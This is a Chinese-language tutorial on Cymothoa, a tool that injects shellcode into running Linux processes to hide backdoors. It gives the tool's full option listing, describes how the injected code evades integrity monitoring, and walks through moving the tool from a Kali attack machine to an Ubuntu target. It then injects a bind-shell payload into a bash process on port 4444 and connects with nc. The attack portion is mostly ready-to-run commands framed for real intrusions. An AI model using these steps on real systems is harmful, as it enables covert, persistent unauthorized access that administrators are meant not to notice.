Cymothoa后门工具

Cymothoa是一款隐秘的后门工具。

发现网上对于Cymothoa的文章并不是很多，可是Cymothoa又是一款非常强大的后门工具，这里记录下Cymothoa的使用笔记。

Cymothoa 是一款可以将 shellcode 注入到现有进程的（即插进程）后门工具。借助这种注入手段，它能够把shellcode伪装成常规程序。它所注入的后门程序应当能够与被注入的程序（进程）共存，以避免被管理和维护人员怀疑。将shellcode注入到其他进程，还有另外一项优势：即使目标系统的安全防护工具能够监视可执行程序的完整性，只要它不检测内存，那么它就不能发现（插进程）后门程序的进程。

首先查看程序PID linux为ps -aux windows为tasklist

来看一下Cymothoa的参数选项:

                               _
                           _  | |
   ____ _   _ ____   ___ _| |_| |__   ___  _____
  / ___) | | |    \ / _ (_   _)  _ \ / _ \(____ |
 ( (___| |_| | | | | |_| || |_| | | | |_| / ___ |
  \____)\__  |_|_|_|\___/  \__)_| |_|\___/\_____|
       (____/
 Ver.1 (beta) - Runtime shellcode injection, for stealthy backdoors...

 By codwizard (codwizard@gmail.com) and crossbower (crossbower@gmail.com)
 from ES-Malaria by ElectronicSouls (http://www.0x4553.org).

 Usage:
     cymothoa -p <pid> -s <shellcode_number> [options]

 Main options:
     -p    process pid
     -s    shellcode number
     -l    memory region name for shellcode injection (default /lib/ld)
           search for "r-xp" permissions, see /proc/pid/maps...
     -m    memory region name for persistent memory (default /lib/ld)
           search for "rw-p" permissions, see /proc/pid/maps...
     -h    print this help screen
     -S    list available shellcodes

 Injection options (overwrite payload flags):
     -f    fork parent process
     -F    don't fork parent process
     -b    create payload thread (probably you need also -F)
     -B    don't create payload thread
     -w    pass persistent memory address
     -W    don't pass persistent memory address
     -a    use alarm scheduler
     -A    don't use alarm scheduler
     -t    use setitimer scheduler
     -T    don't use setitimer scheduler

 Payload arguments:
     -j    set timer (seconds)
     -k    set timer (microseconds)
     -x    set the IP
     -y    set the port number
     -r    set the port number 2
     -z    set the username (4 bytes)
     -o    set the password (8 bytes)
     -c    set the script code (ex: "#!/bin/sh\nls; exit 0")
           escape codes will not be interpreted...

ok 在例子之前看下Cymothoa工具在kali的位置：

也可以去https://sourceforge.net/projects/cymothoa/?stars=3 下载

在实战中你需要对目标机上传编译好的Cymothoa 进行后门注入。

例子中对kali下的Cymothoa打包 然后再Ubuntu18上进行运行。

===========================================================================================

攻击机kali上打包:

tar -cf cymothoa.tar cymothoa/

靶机Ubuntu18上解压：

tar xf  cymothoa.tar

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

注入bash进程植入Cymothoa后门:

首先来看看最常用的-S 查看shellcode：

-s指定使用的shellcode -p指定注入的进程的pid -y指定payload的服务端口

也可以查看bash进程

ps a|grep /bin/bash

查看进程id，一般来说都会选择bash的进程，选择这个pid为2211的bash进程

./cymothoa -s 0 -p 2211 -y 4444

注入成功以后 用nc之类的工具连接这个端口(例子中为4444)即可访问后门。